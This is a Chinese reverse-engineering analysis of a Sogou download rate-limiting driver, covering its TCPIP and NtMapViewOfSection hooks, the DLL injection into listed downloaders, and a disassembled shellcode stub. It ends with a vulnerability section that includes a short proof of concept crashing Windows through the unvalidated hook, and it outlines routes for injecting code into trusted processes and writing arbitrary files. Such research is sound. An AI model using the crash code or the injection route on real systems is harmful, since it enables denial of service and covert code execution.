软件版本 2.2.0.1423
驱动版本 1.0.0.9
主要功能就是对耗流量的下载软件进行限速
★.r0 挂钩TCPIP的handler 拦截发送包
★.r0 hook NtMapViewOfSection 加载mswsock.dll时向r3中注入sogouipfilter.dll,将WSPStartup EAT hook至一段shellcode , 然后加载sogouipfilter!WSPStartup2 并在WSPStartup2函数中
挂钩lpProcTable 的发送和接收参数
如果找不到netopt.se的名单文件,默认注入的进程名单是
ThunderService.exe thunder5.exe qqdownload.exe bitcomet.exe utorrent.exe btdownloadgui.exe bitspirit.exe emule.exe edonkey2000.exe vagaa.exe
pplive.exe ppstream.exe qvodterminal.exe
下面是shellcode内容
017F0000 > 56 push esi
017F0001 BE 3A007F01 mov esi, 17F003A
017F0006 8B46 08 mov eax, dword ptr [esi+8] ;0100dc80 WSPStartup2的地址
017F0009 85C0 test eax, eax
017F000B 75 1F jnz short 017F002C
017F000D 8D46 20 lea eax, dword ptr [esi+20]
017F0010 50 push eax ;sogouip 路径
017F0011 FF16 call dword ptr [esi] ;LoadLibraryA "sogouip"
017F0013 85C0 test eax, eax
017F0015 74 0C je short 017F0023
017F0017 8D4E 10 lea ecx, dword ptr [esi+10] ;"WSPStartup2"
017F001A 51 push ecx
017F001B 50 push eax
017F001C FF56 04 call dword ptr [esi+4] ;GetProcAddress
017F001F 85C0 test eax, eax
017F0021 75 06 jnz short 017F0029
017F0023 8B4E 0C mov ecx, dword ptr [esi+C]
017F0026 5E pop esi
017F0027 FFE1 jmp ecx
017F0029 8946 08 mov dword ptr [esi+8], eax
017F002C 8B4E 0C mov ecx, dword ptr [esi+C]
017F002F 5E pop esi
017F0030 5A pop edx
017F0031 51 push ecx ;原地址? 719cc29b
017F0032 52 push edx
017F0033 FFE0 jmp eax
;17F003A开始的数据结构
;LoadLibraryA addr
;GetProcAddress addr
;WSPStartup2地址 另外一个数据表中存放的是WSPStartup3地址 相应的下面也是WSPStartup3的名字
;mswsock.dll!WSPStartup
;"WSPStartup2"
;"sogouip.dll" path
★.DeviceIoCtrl中的功能,具体功能码请到IDA中自己看
1.shellcode 从WSPStartup2切换到WSPStartup3
2.拷贝一个文件到sogou的安装目录下
3. r3传入;LoadLibraryA addr;GetProcAddress addr;WSPStartup2地址;mswsock.dll!WSPStartup地址 这个过程也可以在ssdt hook中完成
4.Recv Set TCPInfo to drop
★.漏洞和缺陷
1.ssdt hook 对参数毫无过滤,导致bsod
.text:00013152 mov esi, [ebp+BaseAddress] ;BaseAddress存入esi
.text:00013155 push [ebp+InheritDisposition]
.text:00013158 mov ecx, [ebp+ProcessHandle]
.text:0001315B mov ebx, [ebp+SectionHandle]
.text:0001315E mov eax, [ebp+OriginFunc]
.text:00013161 mov [ebp+var_1A4], edi
.text:00013167 push [ebp+var_1A4]
.text:0001316D xor edi, edi
.text:0001316F push edx
.text:00013170 push [ebp+CommitSize]
.text:00013173 mov [ebp+Object], edi
.text:00013179 push [ebp+ZeroBits]
.text:0001317C mov [ebp+var_1B4], edi
.text:00013182 push esi
.text:00013183 push ecx
.text:00013184 push ebx
.text:00013185 mov [ebp+mdl], edi
.text:0001318B call eax ;调用原函数
.text:0001318D cmp eax, edi
.text:0001318F mov esi, [esi] ;毫无判断,BSOD
比如构造如下代码
HMODULE hdll = LoadLibrary(L"ntdll");
ULONG addr = (ULONG)GetProcAddress(hdll,(LPCSTR)"NtMapViewOfSection");
_asm
{
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call addr;
}
2.通过修改改注册表和下发ioctrl,可以替换注入的dll,实现注入,注入到受信进程里,想干啥干啥(注入名单文件是加密的 要解密 解密函数详见IDB)
3.通过修改改注册表,可以向任意目录写入文件,绕过一些保护
后两个内容没有实践~但从分析上看,只要满足一些条件,应该是可行的~具体看IDB吧~他程序里的判断都很好绕过..........
IDB和一些相关资料:点击下载